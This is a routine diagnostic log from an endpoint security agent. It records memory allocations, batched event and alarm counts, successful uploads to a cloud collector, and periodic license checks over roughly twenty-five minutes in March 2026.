2026-03-04 13:03:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:03:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:03:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:59:52, To:, 2026-03-04 13:03:53, Duration (s):, 241, Events Per Second:, 16.979, Events:, 4106, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3401, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 3, Livegrid:, 3, OriginUrl:, 0, Alarms:, 698, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457312
2026-03-04 13:03:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s372ms.
2026-03-04 13:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1329 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; rules::ProcessConditionsCache: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BaseEvent: 0 KB; BatchSerializer::EventsQueueTag: 0 KB; BatchStringTag: 0 KB; Total: 128553 KB;
2026-03-04 13:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1715 KB; TcpIpConnectionsManager: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 186 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 11 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129182 KB;
2026-03-04 13:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2081 KB; ModuleMetadata: 1898 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 631 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 369 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 10 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129892 KB;
2026-03-04 13:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2442 KB; ModuleMetadata: 1898 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 634 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 550 KB; rules::ProcessConditionsCache: 411 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 146 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130860 KB;
2026-03-04 13:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2806 KB; ModuleMetadata: 1898 KB; BaseEvent: 727 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 634 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 394 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 193 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 131402 KB;
2026-03-04 13:07:57 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:03:53, To:, 2026-03-04 13:07:57, Duration (s):, 244, Events Per Second:, 16.678, Events:, 4082, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3371, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 4, Livegrid:, 4, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455527
2026-03-04 13:07:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 13:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:08:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:08:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:08:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:08:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1669 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 601 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 178 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 48 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129203 KB;
2026-03-04 13:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2109 KB; ModuleMetadata: 1898 KB; TcpIpConnectionsManager: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; BaseEvent: 410 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 112 KB; rules::ProcessConditionsCache: 69 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129981 KB;
2026-03-04 13:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2501 KB; ModuleMetadata: 1898 KB; TcpIpConnectionsManager: 627 KB; BaseEvent: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 162 KB; rules::ProcessConditionsCache: 135 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130683 KB;
2026-03-04 13:11:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:07:53, To:, 2026-03-04 13:11:37, Duration (s):, 224, Events Per Second:, 18.241, Events:, 4094, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3340, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 60, Livegrid:, 60, OriginUrl:, 0, Alarms:, 633, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454208
2026-03-04 13:11:38 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 13:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1528 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 76 KB; BaseEvent: 57 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 22 KB; BatchSerializer::EventsQueueTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128929 KB;
2026-03-04 13:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 1903 KB; ModuleMetadata: 1898 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 241 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 76 KB; BatchSerializer::EventsQueueTag: 64 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129525 KB;
2026-03-04 13:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:13:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:13:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:13:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:13:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2263 KB; ModuleMetadata: 1898 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 420 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 111 KB; rules::ProcessConditionsCache: 60 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130057 KB;
2026-03-04 13:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2621 KB; ModuleMetadata: 1898 KB; BaseEvent: 600 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 158 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130598 KB;
2026-03-04 13:15:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:11:37, To:, 2026-03-04 13:15:41, Duration (s):, 244, Events Per Second:, 16.679, Events:, 4075, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3352, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453197
2026-03-04 13:15:42 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s384ms.
2026-03-04 13:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1373 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BaseEvent: 37 KB; rules::ProcessConditionsCache: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128605 KB;
2026-03-04 13:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1736 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; TcpIpConnectionsManager: 516 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 218 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 56 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 17 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129184 KB;
2026-03-04 13:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2101 KB; ModuleMetadata: 1898 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; TcpIpConnectionsManager: 512 KB; BaseEvent: 399 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 103 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129773 KB;
2026-03-04 13:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:18:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:18:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:18:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:18:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2463 KB; ModuleMetadata: 1898 KB; BaseEvent: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130359 KB;
2026-03-04 13:19:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:15:40, To:, 2026-03-04 13:19:49, Duration (s):, 249, Events Per Second:, 16.495, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3388, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 724, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457353
2026-03-04 13:19:51 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s381ms.
2026-03-04 13:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1354 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; rules::ProcessConditionsCache: 423 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 19 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128983 KB;
2026-03-04 13:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1722 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; rules::ProcessConditionsCache: 416 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 200 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 52 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129598 KB;
2026-03-04 13:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2081 KB; ModuleMetadata: 1898 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; rules::ProcessConditionsCache: 384 KB; BaseEvent: 377 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130151 KB;
2026-03-04 13:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2444 KB; ModuleMetadata: 1898 KB; BaseEvent: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 368 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 146 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130705 KB;
2026-03-04 13:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:23:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:23:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 13:23:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 13:23:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 13:23:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 13:19:49, To:, 2026-03-04 13:23:53, Duration (s):, 244, Events Per Second:, 16.716, Events:, 4089, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3379, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455525
2026-03-04 13:23:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s394ms.
2026-03-04 13:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1900 KB; ProcessInfo: 1302 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 376 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BaseEvent: 1 KB; BatchSerializer::EventsQueueTag: 1 KB; BatchStringTag: 0 KB; Total: 128882 KB;
2026-03-04 13:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1900 KB; ProcessInfo: 1686 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 376 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 184 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129503 KB;
2026-03-04 13:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2026 KB; ModuleMetadata: 1900 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BaseEvent: 352 KB; rules::ProcessConditionsCache: 309 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 93 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129991 KB;
2026-03-04 13:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2411 KB; ModuleMetadata: 1900 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; rules::ProcessConditionsCache: 314 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 143 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130613 KB;
